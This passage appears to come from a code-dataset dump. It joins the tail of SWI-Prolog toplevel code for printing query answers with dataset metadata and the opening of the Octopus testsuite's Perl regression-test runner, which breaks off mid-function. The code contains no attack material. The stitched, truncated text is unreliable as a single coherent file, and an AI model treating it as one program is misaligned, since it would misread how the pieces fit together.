adequate and informative. % % Succeeds if the user accepts the answer and fails otherwise. % % @arg ResidueVars are the residual constraints and provided if % the prolog flag `toplevel_residue_vars` is set to % `project`. write_bindings(Bindings, ResidueVars, Delays, Det) :- '$current_typein_module'(TypeIn), translate_bindings(Bindings, Bindings1, ResidueVars, TypeIn:Residuals), omit_qualifier(Delays, TypeIn, Delays1), write_bindings2(Bindings1, Residuals, Delays1, Det). write_bindings2([], Residuals, Delays, _) :- current_prolog_flag(prompt_alternatives_on, groundness), !, print_message(query, query(yes(Delays, Residuals))). write_bindings2(Bindings, Residuals, Delays, true) :- current_prolog_flag(prompt_alternatives_on, determinism), !, print_message(query, query(yes(Bindings, Delays, Residuals))). write_bindings2(Bindings, Residuals, Delays, _Det) :- repeat, print_message(query, query(more(Bindings, Delays, Residuals))), get_respons(Action), ( Action == redo -> !, fail ; Action == show_again -> fail ; !, print_message(query, query(done)) ). %! residual_goals(:NonTerminal) % % Directive that registers NonTerminal as a collector for residual % goals. :- multifile residual_goal_collector/1. :- meta_predicate residual_goals(2). residual_goals(NonTerminal) :- throw(error(context_error(nodirective, residual_goals(NonTerminal)), _)). system:term_expansion((:- residual_goals(NonTerminal)), '$toplevel':residual_goal_collector(M2:Head)) :- prolog_load_context(module, M), strip_module(M:NonTerminal, M2, Head), '$must_be'(callable, Head). %! prolog:residual_goals// is det. % % DCG that collects residual goals that are not associated with % the answer through attributed variables. :- public prolog:residual_goals//0. prolog:residual_goals --> { findall(NT, residual_goal_collector(NT), NTL) }, collect_residual_goals(NTL). collect_residual_goals([]) --> []. collect_residual_goals([H|T]) --> ( call(H) -> [] ; [] ), collect_residual_goals(T). %! prolog:translate_bindings(+Bindings0, -Bindings, +ResidueVars, %! +ResidualGoals, -Residuals) is det. % % Translate the raw variable bindings resulting from successfully % completing a query into a binding list and list of residual % goals suitable for human consumption. % % @arg Bindings is a list of binding(Vars,Value,Substitutions), % where Vars is a list of variable names. E.g. % binding(['A','B'],42,[])` means that both the variable % A and B have the value 42. Values may contain terms % '$VAR'(Name) to indicate sharing with a given variable. % Value is always an acyclic term. If cycles appear in the % answer, Substitutions contains a list of substitutions % that restore the original term. % % @arg Residuals is a pair of two lists representing residual % goals. The first element of the pair are residuals % related to the query variables and the second are % related that are disconnected from the query. :- public prolog:translate_bindings/5. :- meta_predicate prolog:translate_bindings(+, -, +, +, :). prolog:translate_bindings(Bindings0, Bindings, ResVars, ResGoals, Residuals) :- translate_bindings(Bindings0, Bindings, ResVars, ResGoals, Residuals). translate_bindings(Bindings0, Bindings, ResidueVars, Residuals) :- prolog:residual_goals(ResidueGoals, []), translate_bindings(Bindings0, Bindings, ResidueVars, ResidueGoals, Residuals). translate_bindings(Bindings0, Bindings, [], [], _:[]-[]) :- term_attvars(Bindings0, []), !, join_same_bindings(Bindings0, Bindings1), factorize_bindings(Bindings1, Bindings2), bind_vars(Bindings2, Bindings3), filter_bindings(Bindings3, Bindings). translate_bindings(Bindings0, Bindings, ResidueVars, ResGoals0, TypeIn:Residuals-HiddenResiduals) :- project_constraints(Bindings0, ResidueVars), hidden_residuals(ResidueVars, Bindings0, HiddenResiduals0), omit_qualifiers(HiddenResiduals0, TypeIn, HiddenResiduals), copy_term(Bindings0+ResGoals0, Bindings1+ResGoals1, Residuals0), '$append'(ResGoals1, Residuals0, Residuals1), omit_qualifiers(Residuals1, TypeIn, Residuals), join_same_bindings(Bindings1, Bindings2), factorize_bindings(Bindings2, Bindings3), bind_vars(Bindings3, Bindings4), filter_bindings(Bindings4, Bindings). hidden_residuals(ResidueVars, Bindings, Goal) :- term_attvars(ResidueVars, Remaining), term_attvars(Bindings, QueryVars), subtract_vars(Remaining, QueryVars, HiddenVars), copy_term(HiddenVars, _, Goal). subtract_vars(All, Subtract, Remaining) :- sort(All, AllSorted), sort(Subtract, SubtractSorted), ord_subtract(AllSorted, SubtractSorted, Remaining). ord_subtract([], _Not, []). ord_subtract([H1|T1], L2, Diff) :- diff21(L2, H1, T1, Diff). diff21([], H1, T1, [H1|T1]). diff21([H2|T2], H1, T1, Diff) :- compare(Order, H1, H2), diff3(Order, H1, T1, H2, T2, Diff). diff12([], _H2, _T2, []). diff12([H1|T1], H2, T2, Diff) :- compare(Order, H1, H2), diff3(Order, H1, T1, H2, T2, Diff). diff3(<, H1, T1, H2, T2, [H1|Diff]) :- diff12(T1, H2, T2, Diff). diff3(=, _H1, T1, _H2, T2, Diff) :- ord_subtract(T1, T2, Diff). diff3(>, H1, T1, _H2, T2, Diff) :- diff21(T2, H1, T1, Diff). %! project_constraints(+Bindings, +ResidueVars) is det. % % Call <module>:project_attributes/2 if the Prolog flag % `toplevel_residue_vars` is set to `project`. project_constraints(Bindings, ResidueVars) :- !, term_attvars(Bindings, AttVars), phrase(attribute_modules(AttVars), Modules0), sort(Modules0, Modules), term_variables(Bindings, QueryVars), project_attributes(Modules, QueryVars, ResidueVars). project_constraints(_, _). project_attributes([], _, _). project_attributes([M|T], QueryVars, ResidueVars) :- ( current_predicate(M:project_attributes/2), catch(M:project_attributes(QueryVars, ResidueVars), E, print_message(error, E)) -> true ; true ), project_attributes(T, QueryVars, ResidueVars). attribute_modules([]) --> []. attribute_modules([H|T]) --> { get_attrs(H, Attrs) }, attrs_modules(Attrs), attribute_modules(T). attrs_modules([]) --> []. attrs_modules(att(Module, _, More)) --> [Module], attrs_modules(More). %! join_same_bindings(Bindings0, Bindings) % % Join variables that are bound to the same value. Note that we % return the _last_ value. This is because the factorization may % be different and ultimately the names will be printed as V1 = % V2, ... VN = Value. Using the last, Value has the factorization % of VN. join_same_bindings([], []). join_same_bindings([Name=V0|T0], [[Name|Names]=V|T]) :- take_same_bindings(T0, V0, V, Names, T1), join_same_bindings(T1, T). take_same_bindings([], Val, Val, [], []). take_same_bindings([Name=V1|T0], V0, V, [Name|Names], T) :- V0 == V1, !, take_same_bindings(T0, V1, V, Names, T). take_same_bindings([Pair|T0], V0, V, Names, [Pair|T]) :- take_same_bindings(T0, V0, V, Names, T). %! omit_qualifiers(+QGoals, +TypeIn, -Goals) is det. % % Omit unneeded module qualifiers from QGoals relative to the % given module TypeIn. omit_qualifiers([], _, []). omit_qualifiers([Goal0|Goals0], TypeIn, [Goal|Goals]) :- omit_qualifier(Goal0, TypeIn, Goal), omit_qualifiers(Goals0, TypeIn, Goals). omit_qualifier(M:G0, TypeIn, G) :- M == TypeIn, !, omit_meta_qualifiers(G0, TypeIn, G). omit_qualifier(M:G0, TypeIn, G) :- predicate_property(TypeIn:G0, imported_from(M)), \+ predicate_property(G0, transparent), !, G0 = G. omit_qualifier(_:G0, _, G) :- predicate_property(G0, built_in), \+ predicate_property(G0, transparent), !, G0 = G. omit_qualifier(M:G0, _, M:G) :- atom(M), !, omit_meta_qualifiers(G0, M, G). omit_qualifier(G0, TypeIn, G) :- omit_meta_qualifiers(G0, TypeIn, G). omit_meta_qualifiers(V, _, V) :- var(V), !. omit_meta_qualifiers((QA,QB), TypeIn, (A,B)) :- !, omit_qualifier(QA, TypeIn, A), omit_qualifier(QB, TypeIn, B). omit_meta_qualifiers(tnot(QA), TypeIn, tnot(A)) :- !, omit_qualifier(QA, TypeIn, A). omit_meta_qualifiers(freeze(V, QGoal), TypeIn, freeze(V, Goal)) :- callable(QGoal), !, omit_qualifier(QGoal, TypeIn, Goal). omit_meta_qualifiers(when(Cond, QGoal), TypeIn, when(Cond, Goal)) :- callable(QGoal), !, omit_qualifier(QGoal, TypeIn, Goal). omit_meta_qualifiers(G, _, G). %! bind_vars(+BindingsIn, -Bindings) % % Bind variables to '$VAR'(Name), so they are printed by the names % used in the query. Note that by binding in the reverse order, % variables bound to one another come out in the natural order. bind_vars(Bindings0, Bindings) :- bind_query_vars(Bindings0, Bindings, SNames), bind_skel_vars(Bindings, Bindings, SNames, 1, _). bind_query_vars([], [], []). bind_query_vars([binding(Names,Var,[Var2=Cycle])|T0], [binding(Names,Cycle,[])|T], [Name|SNames]) :- Var == Var2, % also implies var(Var) !, '$last'(Names, Name), Var = '$VAR'(Name), bind_query_vars(T0, T, SNames). bind_query_vars([B|T0], [B|T], AllNames) :- B = binding(Names,Var,Skel), bind_query_vars(T0, T, SNames), ( var(Var), \+ attvar(Var), Skel == [] -> AllNames = [Name|SNames], '$last'(Names, Name), Var = '$VAR'(Name) ; AllNames = SNames ). bind_skel_vars([], _, _, N, N). bind_skel_vars([binding(_,_,Skel)|T], Bindings, SNames, N0, N) :- bind_one_skel_vars(Skel, Bindings, SNames, N0, N1), bind_skel_vars(T, Bindings, SNames, N1, N). %! bind_one_skel_vars(+Subst, +Bindings, +VarName, +N0, -N) % % Give names to the factorized variables that do not have a name % yet. This introduces names _S<N>, avoiding duplicates. If a % factorized variable shares with another binding, use the name of % that variable. % % @tbd Consider the call below. We could remove either of the % A = x(1). Which is best? % % == % ?- A = x(1), B = a(A,A). % A = x(1), % B = a(A, A), % where % A = x(1). % == bind_one_skel_vars([], _, _, N, N). bind_one_skel_vars([Var=Value|T], Bindings, Names, N0, N) :- ( var(Var) -> ( '$member'(binding(Names, VVal, []), Bindings), same_term(Value, VVal) -> '$last'(Names, VName), Var = '$VAR'(VName), N2 = N0 ; between(N0, infinite, N1), atom_concat('_S', N1, Name), \+ memberchk(Name, Names), !, Var = '$VAR'(Name), N2 is N1 + 1 ) ; N2 = N0 ), bind_one_skel_vars(T, Bindings, Names, N2, N). %! factorize_bindings(+Bindings0, -Factorized) % % Factorize cycles and sharing in the bindings. factorize_bindings([], []). factorize_bindings([Name=Value|T0], [binding(Name, Skel, Subst)|T]) :- '$factorize_term'(Value, Skel, Subst0), ( current_prolog_flag(toplevel_print_factorized, true) -> Subst = Subst0 ; only_cycles(Subst0, Subst) ), factorize_bindings(T0, T). only_cycles([], []). only_cycles([B|T0], List) :- ( B = (Var=Value), Var = Value, acyclic_term(Var) -> only_cycles(T0, List) ; List = [B|T], only_cycles(T0, T) ). %! filter_bindings(+Bindings0, -Bindings) % % Remove bindings that must not be printed. There are two of them: % Variables whose name start with '_' and variables that are only % bound to themselves (or, unbound). filter_bindings([], []). filter_bindings([H0|T0], T) :- hide_vars(H0, H), ( ( arg(1, H, []) ; self_bounded(H) ) -> filter_bindings(T0, T) ; T = [H|T1], filter_bindings(T0, T1) ). hide_vars(binding(Names0, Skel, Subst), binding(Names, Skel, Subst)) :- hide_names(Names0, Skel, Subst, Names). hide_names([], _, _, []). hide_names([Name|T0], Skel, Subst, T) :- ( sub_atom(Name, 0, _, _, '_'), current_prolog_flag(toplevel_print_anon, false), sub_atom(Name, 1, 1, _, Next), char_type(Next, prolog_var_start) -> true ; Subst == [], Skel == '$VAR'(Name) ), !, hide_names(T0, Skel, Subst, T). hide_names([Name|T0], Skel, Subst, [Name|T]) :- hide_names(T0, Skel, Subst, T). self_bounded(binding([Name], Value, [])) :- Value == '$VAR'(Name). %! get_respons(-Action) % % Read the continuation entered by the user. get_respons(Action) :- repeat, flush_output(user_output), get_single_char(Char), answer_respons(Char, Action), ( Action == again -> print_message(query, query(action)), fail ; ! ). answer_respons(Char, again) :- '$in_reply'(Char, '?h'), !, print_message(help, query(help)). answer_respons(Char, redo) :- '$in_reply'(Char, ';nrNR \t'), !, print_message(query, if_tty([ansi(bold, ';', [])])). answer_respons(Char, redo) :- '$in_reply'(Char, 'tT'), !, trace, save_debug, print_message(query, if_tty([ansi(bold, '; [trace]', [])])). answer_respons(Char, continue) :- '$in_reply'(Char, 'ca\n\ryY.'), !, print_message(query, if_tty([ansi(bold, '.', [])])). answer_respons(0'b, show_again) :- !, break. answer_respons(Char, show_again) :- print_predicate(Char, Pred, Options), !, print_message(query, if_tty(['~w'-[Pred]])), set_prolog_flag(answer_write_options, Options). answer_respons(-1, show_again) :- !, print_message(query, halt('EOF')), halt(0). answer_respons(Char, again) :- print_message(query, no_action(Char)). print_predicate(0'w, [write], [ quoted(true), spacing(next_argument) ]). print_predicate(0'p, [print], [ quoted(true), portray(true), max_depth(10), spacing(next_argument) ]). /******************************* * EXPANSION * *******************************/ :- user:dynamic(expand_query/4). :- user:multifile(expand_query/4). call_expand_query(Goal, Expanded, Bindings, ExpandedBindings) :- user:expand_query(Goal, Expanded, Bindings, ExpandedBindings), !. call_expand_query(Goal, Expanded, Bindings, ExpandedBindings) :- toplevel_variables:expand_query(Goal, Expanded, Bindings, ExpandedBindings), !. call_expand_query(Goal, Goal, Bindings, Bindings). :- user:dynamic(expand_answer/2). :- user:multifile(expand_answer/2). call_expand_answer(Goal, Expanded) :- user:expand_answer(Goal, Expanded), !. call_expand_answer(Goal, Expanded) :- toplevel_variables:expand_answer(Goal, Expanded), !. call_expand_answer(Goal, Goal).
29.126171
81
0.598593
ed69167611665b96da8c8dda82589bf934842c03
29,583
pl
Perl
testsuite/oct-run_regression_test.pl
shunsuke-sato/octopus
dcf68a185cdb13708395546b1557ca46aed969f6
[ "Apache-2.0" ]
null
null
null
testsuite/oct-run_regression_test.pl
shunsuke-sato/octopus
dcf68a185cdb13708395546b1557ca46aed969f6
[ "Apache-2.0" ]
null
null
null
testsuite/oct-run_regression_test.pl
shunsuke-sato/octopus
dcf68a185cdb13708395546b1557ca46aed969f6
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env perl # # Copyright (C) 2005-2020 H. Appel, M. Marques, X. Andrade, D. Strubbe, M. Lueders, H. Glawe # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # use strict; use warnings; use Getopt::Std; use File::Basename; use File::Spec; use Fcntl qw(:mode :flock); use Time::HiRes qw(gettimeofday tv_interval); use Scalar::Util qw(looks_like_number); use File::Temp qw/tempdir/; sub usage { print <<EndOfUsage; Copyright (C) 2005-2020 H. Appel, M. Marques, X. Andrade, D. Strubbe, M. Lueders, H. Glawe Usage: oct-run_regression_test.pl [options] -n dry-run -v verbose -h this usage -D name of the directory where to look for the executables -s run everything serial -f filename of testsuite [required] -p preserve working directories -l copy output log to current directory -m run matches only (assumes there are work directories) -r print a report into a YAML files -G deviceID offset for CUDA run Exit codes: 0 all tests passed 1..253 number of test failures 254 test skipped 255 internal error Report bugs to <octopus-devel\@tddft.org> EndOfUsage exit 0; } my $precnum; sub set_precision{ my $p = $_[0]; if($p ne "default"){ $precnum = 1.0*$p; } else { $precnum = 0.0001 } } # Check whether STDOUT is a terminal. If not, no ANSI sequences are # emitted. my %color_start; my %color_end; if(-t STDOUT) { $color_start{blue}="\033[34m"; $color_end{blue}="\033[0m"; $color_start{red}="\033[31m"; $color_end{red}="\033[0m"; $color_start{green}="\033[32m"; $color_end{green}="\033[0m"; } else { $color_start{blue}=""; $color_end{blue}=""; $color_start{red}=""; $color_end{red}=""; $color_start{green}=""; $color_end{green}=""; } if (not @ARGV) { usage; } our($opt_f, $opt_r, $opt_h, $opt_s, $opt_l, $opt_D, $opt_G, $opt_m, $opt_p, $opt_n, $opt_v); getopts("nlvhD:c:f:spmr:G:"); # Handle options $opt_h && usage; my $exec_directory; if($opt_D) { $exec_directory = $opt_D; if($exec_directory !~ /^\//){ $exec_directory = get_env("PWD")."/$exec_directory"; } } else { $exec_directory = "/usr/bin"; } if(length($opt_f) == 0) { die255("You must supply the name of a test file with the -f option."); } my $aexec = get_env("EXEC"); my $global_np = get_env("OCT_TEST_MPI_NPROCS"); # FIXME: all test files should declare Processors #$np = "serial"; my $is_parallel = 0; my $mpiexec; my $mpiexec_raw; my $machinelist; my ($np, $nslots, $my_nslots, $specify_np); # FIXME: could bake in mpiexec at configure time if(!$opt_s) { # MPI stuff $mpiexec = get_env("MPIEXEC"); $machinelist = get_env("MACHINELIST"); if ("$mpiexec" eq "") { $mpiexec = `which mpiexec 2> /dev/null`; } chomp($mpiexec); if( "$mpiexec" eq "" ) { print "No mpiexec found: running in serial.\n\n"; } else { # mpiexec without arguments (to check if it is available) $mpiexec_raw = $mpiexec; $mpiexec_raw =~ s/\ (.*)//; if ( ! -e "$mpiexec_raw" ) { print "mpiexec command ($mpiexec_raw) does not exist: running in serial.\n\n"; $mpiexec = ""; } elsif( ! -x "$mpiexec_raw" ) { print "mpiexec command ($mpiexec_raw) is not executable: running in serial.\n\n"; $mpiexec = ""; } else { # default number of processors is 1 $np = 1; $is_parallel = 1; } } } else { $mpiexec = ""; } # default number of processors for MPI runs is 2 $np = 2; my $enabled = ""; # FIXME: should Enabled be optional? my $expect_error = 0; # check for controlled failure my $error_match_done = 1; # check that at least one error-match has been done. my $command_env; # Handle GPU offset my $offset_GPU = defined $opt_G ? $opt_G : -1; if($offset_GPU >= 0) { $command_env = "OCT_PARSE_ENV=1 OCT_AccelDevice=$offset_GPU"; } else { $command_env = ""; } # This variable counts the number of failed testcases. my $failures = 0; my $tempdirpath = get_env("TEMPDIRPATH"); if ("$tempdirpath" eq "") { $tempdirpath = '/tmp'; } if (! -d $tempdirpath) { mkdir $tempdirpath; } set_precision("default"); # Define the parser for the if..elseif..else..endif structures: # Conditional elements are defined through the if..[elseif..else]..endif structure. # The conditions are specified as argument (in parenthesis) of the if [or elseif]. # # Conditions can be of the form: (avail[able] COND1 [(and|,) COND2 ...]) # global variables, defining the state of the parser: # array to hold a set of conditions: my @conditions= (); my $options_available; # recursion level of nested if blocks: my $if_level = 0; # array of flags, indicating whether an if..else..endif block has been satisfied. # The array index is the recursion level. # Once a condition in a if..elseif..else..endif structure has been met, the if_done # for this level is set to 1 and further blocks of the same level will be skipped. my @if_started = (); my @if_done = (); sub parse_condition { # This routine parses a string recursively to look for 'avail*' 'and' and ',' # and push found requirements to @($_[1]). my $condition = $_[0]; my @required = @{$_[1]}; if ($condition =~ /\s*avail\w*\s*(\w*)\s*$/i ) { parse_condition($1, $_[1]); } # parse comma separated options elsif ($condition =~ /\b(\w*)\b\s+and\s+(.*)$/i ) { push(@{$_[1]}, $1); parse_condition($2, $_[1]); } # parse 'and' separated options elsif ($condition =~ /\b(\w*)\b\s+,\s+(.*)$/i ) { push(@{$_[1]}, $1); parse_condition($2, $_[1]); } elsif ($condition =~ /^(\w*)$/ ) { push(@{$_[1]}, $1); } else { die255( "Ill-formed option condition.\n" ); } } sub check_conditions { # This is a combined test to determine whether a certain step in the test needs to be executed. # This check takes into account: # - the level of the if blocks # - whether a if-block already has been satisfied # - whether prerequisits for a run are fulfilled. my @required_options = (); my $result=1; if($if_level>0) { # collect required options in $_: foreach(@{$_[0]}) { parse_condition($_, \@required_options); } # check whether all required options are present: foreach(@required_options) { $result = $result * ($options_available =~ /$_/i); } } return ((not $if_done[$if_level]) and $result); } # Set test_succeeded flag to 'TRUE' (=1). Only change to 'FALSE' (=0) if a test fails. my $test_succeeded = 1; $if_done[0] = 0; my $pwd = get_env("PWD"); my $workdir; my $scriptname; my $matchdir; if (!$opt_m) { my $name = $opt_f; $name =~ s/\.\.\///g; $name =~ s/\//-/g; $workdir = tempdir("$tempdirpath/octopus" . "-" . $name . ".XXXXXX"); chomp($workdir); system ("rm -rf $workdir"); mkdir $workdir; $scriptname = "$workdir/matches.sh"; open(SCRIPT, ">$scriptname") or die255("Could not create '$scriptname'."); print SCRIPT "#\!/usr/bin/env bash\n\n"; print SCRIPT "perl $0 -m -D $exec_directory -f $opt_f\n"; close(SCRIPT); chmod 0755, $scriptname; $matchdir = $workdir; } else { $workdir = $pwd; } # testsuite open(TESTSUITE, "<".$opt_f ) or die255("Cannot open testsuite file '$opt_f'."); my (%report, $r_match_report, $r_matches_array, $r_input_report); my %test; my ($test_start, $test_end); my ($basename, $basedir, $basecommand, $testname, $command, $command_line); my ($input_base, $input_file); my ($return_value, $cp_return); my $mode; my ($workfiles, $file_cp); my @wfiles; my $elapsed; my $value; my $name; my $line_num; while ($_ = <TESTSUITE>) { # remove trailing newline chomp; # remove leading whitespace $_ =~ s/^\s+//; # remove trailing whitespace $_ =~ s/\s+$//; # skip blank lines next if (length($_) == 0); # skip comments next if /^#/; if ( $_ =~ /^Test\s*:\s*(.*)\s*$/) { $test{"name"} = $1; if($test{"name"} eq "") { die255("No name was provided with Test tag."); } print "$color_start{blue} ***** $test{\"name\"} ***** $color_end{blue} \n\n"; print "Using workdir : $workdir\n"; if($opt_p) { print "Workdir will be saved.\n"; } print "Using test file : $opt_f \n"; $basename = basename($opt_f); $basedir = basename(dirname(File::Spec->rel2abs($opt_f))); $testname = "$basedir/$basename"; $report{$testname} = {"input" => {}}; } elsif ( $_ =~ /^Enabled\s*:\s*(.*)\s*$/) { %test = (); $enabled = $1; $enabled =~ s/^\s*//; $enabled =~ s/\s*$//; $test{"enabled"} = $enabled; $report{$testname}{"enabled"} = $enabled; if ( $enabled eq "No") { print STDERR "Test disabled: skipping test\n\n"; skip_exit(); } elsif ( $enabled ne "Yes") { if (!$opt_p && !$opt_m) { system ("rm -rf $workdir"); } die255("Unknown option 'Enabled = $enabled' in testsuite file."); } } elsif ( $_ =~ /^Program\s*:\s*(.*)\s*$/) { $command = "$exec_directory/$1"; # FIXME: should we do this for a dry-run? if( ! -x "$command") { $command = "$exec_directory/../utils/$1"; } if( ! -x $command) { die255("Executable '$1' not available."); } $basecommand = basename($command); $report{$testname}{"command"} = $basecommand; $options_available = 'dummy ' . `$command -c`; chomp($options_available); if($is_parallel && $options_available !~ "mpi") { print "Running in serial since executable was not compiled with MPI.\n"; $is_parallel = 0; } # FIXME: import Options to BGW version } elsif ( $_ =~ /^TestGroups\s*:\s*(.*)\s*$/) { # handled by oct-run_testsuite.sh my @groups = split(/[;,]\s*/, $1); $report{$testname}{"testgroups"} = \@groups; } else { if ( $enabled eq "") { die255("Testsuite file must set Enabled tag before another (except Test, Program, Options, TestGroups)."); } if ( $_ =~ /^Util\s*:\s*(.*)\s*$/ || $_ =~ /^MPIUtil\s*:\s*(.*)\s*$/) { if( $_ =~ /^Util\s*:\s*(.*)\s*$/) {$np = "serial";} $command = "$exec_directory/$1"; if( ! -x "$command") { $command = "$exec_directory/../utils/$1"; } $report{$testname}{"util"} = $1; if( ! -x "$command") { die255("Cannot find utility '$1'."); } } elsif ( $_ =~ /^MPIUtil\s*:\s*(.*)\s*$/) { $command = "$exec_directory/$1"; if( ! -x "$command") { $command = "$exec_directory/../utils/$1"; } $report{$testname}{"util"} = $1; if( ! -x "$command") { die255("Cannot find utility '$1'."); } } elsif ( $_ =~ /^Processors\s*:\s*(.*)\s*$/) { # FIXME: enforce this is "serial" or numeric $np = $1; } elsif ( $_ =~ /^if\s*\((.*)\)\s*;\s*then\s*$/i ) { # Entering an IF region push(@conditions,$1); $if_level += 1; $if_started[$if_level] = 0; $if_done[$if_level] = 0; } elsif ( $_ =~ /^elseif\s*\((.*)\)\s*;\s*then\s*$/i ) { $if_done[$if_level] = $if_started[$if_level]; $if_started[$if_level] = 0; pop(@conditions); push(@conditions,$1); } elsif ( $_ =~ /^else\s*$/i ) { $if_done[$if_level] = $if_started[$if_level]; $if_started[$if_level] = 0; pop(@conditions); push(@conditions, "dummy"); } elsif ( $_ =~ /^endif\s*$/i ) { $if_done[$if_level] = $if_started[$if_level]; $if_started[$if_level] = 0; if ($if_level==0) { die255("Ill-formed test file (unpaired endif.)\n"); } # Exiting IF region pop(@conditions); $if_done[$if_level] = undef; $if_level -= 1; } elsif ( $_ =~ /^\w*Input\s*:\s*(.*)\s*$/ ) { if( check_conditions(\@conditions, $options_available)) { check_error_resolved(); $input_base = $1; $input_file = dirname($opt_f) . "/" . $input_base; my %input_report; $r_input_report = \%input_report; $report{$testname}{"input"}{basename($input_file)} = \%input_report; # The FailingInput is not really necessary, but can be used to make it explicit in the test file that an error is expected due to deliberate input errors. if( $_ =~ /^FailingInput/) { $expect_error = 1; } $input_report{"expected_failure"} = $expect_error?"Yes":"No"; my @matches_array; $r_matches_array = \@matches_array; $input_report{"matches"} = \@matches_array; if($is_parallel) { $input_report{"processors"} = $np; } else { $input_report{"processors"} = 1; } if ( $opt_m ) { print "\n\nFor input file : $input_file\n\n"; $return_value = 0; # FIXME: this works from outer directory, but not in archived subdirectories. $matchdir = "$workdir/$input_base"; } else { if( -f $input_file ) { print "\nUsing input file : $input_file\n"; $cp_return = system("cp $input_file $workdir/inp"); if($cp_return != 0) { die255("Copy failed (cp $input_file $workdir/inp)\n"); } # Ensure that the input file is writable so that it can # be overwritten by the next test. $mode = (stat "$workdir/inp")[2]; chmod $mode|S_IWUSR, "$workdir/inp"; } else { die255("Could not find input file '$input_file'."); } # serial or MPI run? if ( $is_parallel && $np ne "serial") { if("$global_np" ne "") { $np = $global_np; } if ("$mpiexec" =~ /ibrun/) { # used by SGE parallel environment $specify_np = ""; $my_nslots = "MY_NSLOTS=$np"; } elsif ("$mpiexec" =~ /runjob/) { # used by BlueGene $specify_np = "--np $np --exe"; $my_nslots = ""; } elsif ("$mpiexec" =~ /poe/) { # used by IBM PE $specify_np = ""; $my_nslots = "MP_PROCS=$np"; } else { # for mpirun and Cray's aprun $specify_np = "-n $np"; $my_nslots = ""; } $command_line = "cd $workdir; $command_env $my_nslots $mpiexec $specify_np $machinelist $aexec $command "; } else { $command_line = "cd $workdir; $command_env $aexec $command "; } # MPI implementations generally permit using more tasks than actual cores, and running tests this way makes it likely for developers to find race conditions. if($np ne "serial") { if($np > 4) { print "Note: this run calls for more than the standard maximum of 4 MPI tasks.\n"; } } $command_line = $command_line." > out 2> err"; print "Executing: " . $command_line . "\n"; if ( !$opt_n ) { $test_start = [gettimeofday]; $return_value = system("$command_line"); $test_end = [gettimeofday]; $elapsed = tv_interval($test_start, $test_end); printf("\tElapsed time: %8.1f s\n\n", $elapsed); if($return_value == 0) { printf "%-40s%s", " Execution", ": \t [ $color_start{green} OK $color_end{green} ] \n"; $input_report{"execution"} = "success"; # Set $error_match_done to TRUE to indicate that no error match needs to be done. $error_match_done = 1; } else { # In case of non-zero return value, we will not immediately mark the run as failling, but set a flag that a test for # the correct error message is obligatory. # # If that match was successful (i.e. the correct error message has been printed), we count it as success (passed). # If that match was unsuccessful or no match has been performed, we mark it as failed. print "Test run failed with exit code $return_value.\n"; print "These are the last lines of output:\n\n"; print "----------------------------------------\n"; system("tail -20 $workdir/out"); print "----------------------------------------\n\n"; print "These are the last lines of stderr:\n\n"; print "----------------------------------------\n"; system("tail -50 $workdir/err"); print "----------------------------------------\n\n"; $error_match_done = 0; } $test{"run"} = 1; } # copy all files of this run to archive directory with the name of the # current input file mkdir "$workdir/$input_base"; @wfiles = `ls -d $workdir/* | grep -v inp`; $workfiles = join("",@wfiles); $workfiles =~ s/\n/ /g; $cp_return = system("cp -r $workfiles $workdir/inp $workdir/$input_base"); if($cp_return != 0) { die255("Copy failed (cp -r $workfiles $workdir/inp $workdir/$input_base)\n"); } } } } elsif ( $_ =~ /^Precision\s*:\s*(.*)\s*$/) { set_precision($1); } elsif ( $_ =~ /^ExtraFile\s*:\s*(.*)\s*$/) { $file_cp = dirname($opt_f)."/".$1; $cp_return = system("cp $file_cp $workdir/"); } elsif ( $_ =~ /^match/ ) { # matches results when execution was successful if( check_conditions(\@conditions, $options_available)) { my %match_report; $r_match_report = \%match_report; # Mark this match-line as error match if it contains "error" in the name. my $error_match = ($_ =~ /error/i); if (!$opt_n && ($error_match xor ($return_value == 0) ) ) { push( @{$r_matches_array}, $r_match_report); if(run_match_new($_)){ printf "%-40s%s", "$name", ":\t [ $color_start{green} OK $color_end{green} ] \t (Calculated value = $value) \n"; if ($opt_v) { print_hline(); } if ($error_match) { $error_match_done = 1; } } else { printf "%-40s%s", "$name", ":\t [ $color_start{red} FAIL $color_end{red} ] \n"; print_hline(); $test_succeeded = 0; $failures++; } } for(my $i=$if_level; $i>=0; $i--) { $if_started[$i]=1; } } } else { die255("Unknown command '$_'."); } } } check_error_resolved(); if ($opt_l && !$opt_m && !$opt_n) { system ("cat $workdir/out >> out.log"); } if (!$opt_p && !$opt_m && $test_succeeded) { system ("rm -rf $workdir"); } print "\n"; close(TESTSUITE); print "Status: ".$failures." failures\n"; if($opt_r) { require YAML; open(YML, ">>$opt_r" ) or die255("Could not create '$opt_r'."); flock(YML, LOCK_EX) or die "Cannot lock file - $opt_r!\n"; print YML YAML::Dump(\%report); close(YML); } exit $failures; sub run_match_new { die255("Have to run before matching.") if !$test{"run"} && !$opt_m; # parse match line my ($line, $match, $match_command, $shell_command, $ref_value, $off); $line = $_[0]; $line =~ s/\\;/_COLUMN_/g; ($match, $name, $match_command, $ref_value) = split(/;/, $line); $match_command =~ s/_COLUMN_/;/g; $ref_value =~ s/^\s*//; $ref_value =~ s/\s*$//; # parse command $match_command =~ /\s*(\w+)\s*\((.*)\)/; my $func = $1; my $params = $2; # parse parameters $params =~ s/\\,/_COMMA_/g; my @par = split(/,/, $params); for ($params=0; $params <= $#par; $params++) { $par[$params] =~ s/_COMMA_/\\,/g; $par[$params] =~ s/^\s*//; $par[$params] =~ s/\s*$//; } $r_match_report->{"type"} = $func; $r_match_report->{"arguments"} = \@par; if ($func eq "SHELL") { # function SHELL(shell code) check_num_args(1, 1, $#par, $func); $shell_command = $par[0]; } elsif ($func eq "LINE") { # function LINE(filename, line, column) check_num_args(3, 3, $#par, $func); if ($par[1] < 0) { # negative number means from end of file $line_num = "`wc -l $par[0] | awk '{print \$1}'`"; $shell_command = "awk -v n=$line_num '(NR==n+$par[1]+1)' $par[0]"; } else { $shell_command = "awk '(NR==$par[1])' $par[0]"; } $shell_command .= " | cut -b $par[2]-"; } elsif ($func eq "LINEFIELD") { # 